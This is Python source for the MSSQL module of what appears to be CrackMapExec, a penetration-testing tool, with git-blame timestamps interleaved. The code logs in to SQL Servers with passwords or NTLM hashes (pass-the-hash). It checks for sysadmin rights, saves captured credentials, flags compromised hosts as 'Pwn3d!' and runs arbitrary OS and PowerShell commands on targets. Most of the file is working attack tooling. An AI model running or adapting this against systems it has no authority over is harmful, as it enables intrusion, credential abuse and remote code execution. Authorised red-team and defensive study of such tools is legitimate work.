2016-12-15 07:28:00 +00:00
import socket
import logging
from cme . logger import CMEAdapter
from StringIO import StringIO
from cme . protocols . mssql . mssqlexec import MSSQLEXEC
from cme . connection import *
from cme . helpers . logger import highlight
from cme . helpers . powershell import create_ps_command
2017-05-03 00:52:16 +00:00
#from cme.helpers.powershell import is_powershell_installed
2016-12-15 07:28:00 +00:00
from impacket import tds
2017-05-03 00:52:16 +00:00
from impacket . smbconnection import SMBConnection , SessionError
2016-12-15 07:28:00 +00:00
from impacket . tds import SQLErrorException , TDS_LOGINACK_TOKEN , TDS_ERROR_TOKEN , TDS_ENVCHANGE_TOKEN , TDS_INFO_TOKEN , \
TDS_ENVCHANGE_VARCHAR , TDS_ENVCHANGE_DATABASE , TDS_ENVCHANGE_LANGUAGE , TDS_ENVCHANGE_CHARSET , TDS_ENVCHANGE_PACKETSIZE
2017-05-03 00:52:16 +00:00
#if not is_powershell_installed():
# logger.error(highlight('[!] PowerShell not found and/or not installed, advanced PowerShell script obfuscation will be disabled!'))
2016-12-15 07:28:00 +00:00
class mssql ( connection ) :
def __init__ ( self , args , db , host ) :
self . mssql_instances = None
self . domain = None
self . hash = None
connection . __init__ ( self , args , db , host )
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
2017-03-27 21:09:36 +00:00
mssql_parser = parser . add_parser ( ' mssql ' , help = " own stuff using MSSQL and/or Active Directory " , parents = [ std_parser , module_parser ] )
2016-12-15 07:28:00 +00:00
dgroup = mssql_parser . add_mutually_exclusive_group ( )
2017-03-27 21:09:36 +00:00
dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , help = " domain name " )
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2016-12-15 07:28:00 +00:00
mssql_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] , help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
2017-05-03 00:52:16 +00:00
mssql_parser . add_argument ( " --port " , default = 1433 , type = int , metavar = ' PORT ' , help = ' MSSQL port (default: 1433) ' )
2017-03-27 21:09:36 +00:00
mssql_parser . add_argument ( " -q " , " --query " , metavar = ' QUERY ' , type = str , help = ' execute the specified query against the MSSQL DB ' )
2017-05-03 00:52:16 +00:00
mssql_parser . add_argument ( " -a " , " --auth-type " , choices = { ' windows ' , ' normal ' } , default = ' windows ' , help = ' MSSQL authentication type to use (default: windows) ' )
2016-12-15 07:28:00 +00:00
2017-04-30 18:54:35 +00:00
cgroup = mssql_parser . add_argument_group ( " Command Execution " , " options for executing commands " )
2017-03-27 21:09:36 +00:00
cgroup . add_argument ( ' --force-ps32 ' , action = ' store_true ' , help = ' force the PowerShell command to run in a 32-bit process ' )
cgroup . add_argument ( ' --no-output ' , action = ' store_true ' , help = ' do not retrieve command output ' )
2016-12-15 07:28:00 +00:00
xgroup = cgroup . add_mutually_exclusive_group ( )
2017-03-27 21:09:36 +00:00
xgroup . add_argument ( " -x " , metavar = " COMMAND " , dest = ' execute ' , help = " execute the specified command " )
xgroup . add_argument ( " -X " , metavar = " PS_COMMAND " , dest = ' ps_execute ' , help = ' execute the specified PowerShell command ' )
2016-12-15 07:28:00 +00:00
return parser
2017-05-03 00:52:16 +00:00
def proto_flow ( self ) :
self . proto_logger ( )
if self . create_conn_obj ( ) :
self . enum_host_info ( )
self . print_host_info ( )
self . login ( )
if hasattr ( self . args , ' module ' ) and self . args . module :
self . call_modules ( )
else :
self . call_cmd_args ( )
2016-12-15 07:28:00 +00:00
def proto_logger ( self ) :
self . logger = CMEAdapter ( extra = {
' protocol ' : ' MSSQL ' ,
' host ' : self . host ,
2017-05-03 00:52:16 +00:00
' port ' : self . args . port ,
' hostname ' : ' None '
2016-12-15 07:28:00 +00:00
} )
def enum_host_info ( self ) :
2017-05-03 00:52:16 +00:00
if self . args . auth_type is ' windows ' and not self . args . domain :
try :
smb_conn = SMBConnection ( self . host , self . host , None )
smb_conn . login ( ' ' , ' ' )
self . domain = smb_conn . getServerDomain ( )
self . hostname = smb_conn . getServerName ( )
self . logger . extra [ ' hostname ' ] = self . hostname
except SessionError as e :
if " STATUS_ACCESS_DENIED " in e . message :
pass
except Exception as e :
self . logger . error ( " Error retrieving host domain: {} specify one manually with the ' -d ' flag " . format ( e ) )
try :
smb_conn . logoff ( )
except :
pass
2016-12-15 07:28:00 +00:00
self . mssql_instances = self . conn . getInstances ( 10 )
if len ( self . mssql_instances ) > 0 :
for i , instance in enumerate ( self . mssql_instances ) :
for key in instance . keys ( ) :
if key . lower ( ) == ' servername ' :
self . hostname = instance [ key ]
break
try :
self . conn . disconnect ( )
except :
pass
if self . args . domain :
self . domain = self . args . domain
if self . args . local_auth :
self . domain = self . hostname
self . create_conn_obj ( )
def print_host_info ( self ) :
if len ( self . mssql_instances ) > 0 :
self . logger . info ( " MSSQL DB Instances: {} " . format ( len ( self . mssql_instances ) ) )
for i , instance in enumerate ( self . mssql_instances ) :
self . logger . highlight ( " Instance {} " . format ( i ) )
for key in instance . keys ( ) :
self . logger . highlight ( key + " : " + instance [ key ] )
def create_conn_obj ( self ) :
try :
2017-05-03 00:52:16 +00:00
self . conn = tds . MSSQL ( self . host , self . args . port , rowsPrinter = self . logger )
2016-12-15 07:28:00 +00:00
self . conn . connect ( )
except socket . error :
return False
return True
def check_if_admin ( self ) :
try :
#I'm pretty sure there has to be a better way of doing this.
#Currently we are just searching for our user in the sysadmin group
self . conn . sql_query ( " EXEC sp_helpsrvrolemember ' sysadmin ' " )
2017-05-03 00:52:16 +00:00
self . conn . printRows ( )
query_output = self . conn . _MSSQL__rowsPrinter . getMessage ( )
logging . debug ( " ' sysadmin ' group members: \n {} " . format ( query_output ) )
if self . args . auth_type is ' windows ' :
search_string = ' {} \\ {} ' . format ( self . domain , self . username )
else :
search_string = self . username
if query_output . find ( search_string ) != - 1 :
2016-12-15 07:28:00 +00:00
self . admin_privs = True
2017-05-03 00:52:16 +00:00
else :
return False
except Exception as e :
logging . debug ( ' Error calling check_if_admin(): {} ' . format ( e ) )
2016-12-15 07:28:00 +00:00
return False
return True
def plaintext_login ( self , domain , username , password ) :
2017-05-03 00:52:16 +00:00
res = self . conn . login ( None , username , password , domain , None , True if self . args . auth_type is ' windows ' else False )
2016-12-15 07:28:00 +00:00
if res is not True :
self . conn . printReplies ( )
return False
self . password = password
self . username = username
self . domain = domain
self . check_if_admin ( )
self . db . add_credential ( ' plaintext ' , domain , username , password )
if self . admin_privs :
self . db . link_cred_to_host ( ' plaintext ' , domain , username , password , self . host )
2017-05-03 00:52:16 +00:00
out = u ' {} {} : {} {} ' . format ( ' {} \\ ' . format ( domain . decode ( ' utf-8 ' ) ) if self . args . auth_type is ' windows ' else ' ' ,
2016-12-15 07:28:00 +00:00
username . decode ( ' utf-8 ' ) ,
password . decode ( ' utf-8 ' ) ,
highlight ( ' (Pwn3d!) ' ) if self . admin_privs else ' ' )
self . logger . success ( out )
return True
def hash_login ( self , domain , username , ntlm_hash ) :
lmhash = ' '
nthash = ' '
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
else :
nthash = ntlm_hash
2017-05-03 00:52:16 +00:00
res = self . conn . login ( None , username , ' ' , domain , ' : ' + nthash if not lmhash else ntlm_hash , True )
2016-12-15 07:28:00 +00:00
if res is not True :
self . conn . printReplies ( )
return False
self . hash = ntlm_hash
self . username = username
self . domain = domain
self . check_if_admin ( )
self . db . add_credential ( ' hash ' , domain , username , ntlm_hash )
if self . admin_privs :
self . db . link_cred_to_host ( ' hash ' , domain , username , ntlm_hash , self . host )
out = u ' {} \\ {} {} {} ' . format ( domain . decode ( ' utf-8 ' ) ,
username . decode ( ' utf-8 ' ) ,
ntlm_hash ,
highlight ( ' (Pwn3d!) ' ) if self . admin_privs else ' ' )
self . logger . success ( out )
return True
def mssql_query ( self ) :
self . conn . sql_query ( self . args . mssql_query )
2017-05-03 00:52:16 +00:00
self . conn . printRows ( )
return self . conn . _MSSQL__rowsPrinter . getMessage ( )
2016-12-15 07:28:00 +00:00
@requires_admin
def execute ( self , payload = None , get_output = False ) :
if not payload and self . args . execute :
payload = self . args . execute
if not self . args . no_output : get_output = True
exec_method = MSSQLEXEC ( self . conn )
logging . debug ( ' Executed command via mssqlexec ' )
2017-05-03 00:52:16 +00:00
if hasattr ( self , ' server ' ) : self . server . track_host ( self . host )
2016-12-15 07:28:00 +00:00
2017-05-03 00:52:16 +00:00
output = u ' {} ' . format ( exec_method . execute ( payload , get_output ) . decode ( ' utf-8 ' ) )
2016-12-15 07:28:00 +00:00
if self . args . execute or self . args . ps_execute :
2017-05-03 00:52:16 +00:00
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
self . logger . success ( ' Executed command via mssqlexec ' )
2016-12-15 07:28:00 +00:00
buf = StringIO ( output ) . readlines ( )
for line in buf :
self . logger . highlight ( line . strip ( ) )
return output
@requires_admin
def ps_execute ( self , payload = None , get_output = False ) :
if not payload and self . args . ps_execute :
payload = self . args . ps_execute
if not self . args . no_output : get_output = True
return self . execute ( create_ps_command ( payload ) , get_output )
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
#The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRepliesCME ( self ) :
for keys in self . replies . keys ( ) :
for i , key in enumerate ( self . replies [ keys ] ) :
if key [ ' TokenType ' ] == TDS_ERROR_TOKEN :
error = " ERROR( %s ): Line %d : %s " % ( key [ ' ServerName ' ] . decode ( ' utf-16le ' ) , key [ ' LineNumber ' ] , key [ ' MsgText ' ] . decode ( ' utf-16le ' ) )
self . lastError = SQLErrorException ( " ERROR: Line %d : %s " % ( key [ ' LineNumber ' ] , key [ ' MsgText ' ] . decode ( ' utf-16le ' ) ) )
self . _MSSQL__rowsPrinter . error ( error )
elif key [ ' TokenType ' ] == TDS_INFO_TOKEN :
self . _MSSQL__rowsPrinter . info ( " INFO( %s ): Line %d : %s " % ( key [ ' ServerName ' ] . decode ( ' utf-16le ' ) , key [ ' LineNumber ' ] , key [ ' MsgText ' ] . decode ( ' utf-16le ' ) ) )
elif key [ ' TokenType ' ] == TDS_LOGINACK_TOKEN :
self . _MSSQL__rowsPrinter . info ( " ACK: Result: %s - %s ( %d %d %d %d ) " % ( key [ ' Interface ' ] , key [ ' ProgName ' ] . decode ( ' utf-16le ' ) , key [ ' MajorVer ' ] , key [ ' MinorVer ' ] , key [ ' BuildNumHi ' ] , key [ ' BuildNumLow ' ] ) )
elif key [ ' TokenType ' ] == TDS_ENVCHANGE_TOKEN :
if key [ ' Type ' ] in ( TDS_ENVCHANGE_DATABASE , TDS_ENVCHANGE_LANGUAGE , TDS_ENVCHANGE_CHARSET , TDS_ENVCHANGE_PACKETSIZE ) :
record = TDS_ENVCHANGE_VARCHAR ( key [ ' Data ' ] )
if record [ ' OldValue ' ] == ' ' :
record [ ' OldValue ' ] = ' None ' . encode ( ' utf-16le ' )
elif record [ ' NewValue ' ] == ' ' :
record [ ' NewValue ' ] = ' None ' . encode ( ' utf-16le ' )
if key [ ' Type ' ] == TDS_ENVCHANGE_DATABASE :
_type = ' DATABASE '
elif key [ ' Type ' ] == TDS_ENVCHANGE_LANGUAGE :
_type = ' LANGUAGE '
elif key [ ' Type ' ] == TDS_ENVCHANGE_CHARSET :
_type = ' CHARSET '
elif key [ ' Type ' ] == TDS_ENVCHANGE_PACKETSIZE :
_type = ' PACKETSIZE '
else :
_type = " %d " % key [ ' Type ' ]
self . _MSSQL__rowsPrinter . info ( " ENVCHANGE( %s ): Old Value: %s , New Value: %s " % ( _type , record [ ' OldValue ' ] . decode ( ' utf-16le ' ) , record [ ' NewValue ' ] . decode ( ' utf-16le ' ) ) )
2017-04-30 18:54:35 +00:00
tds . MSSQL . printReplies = printRepliesCME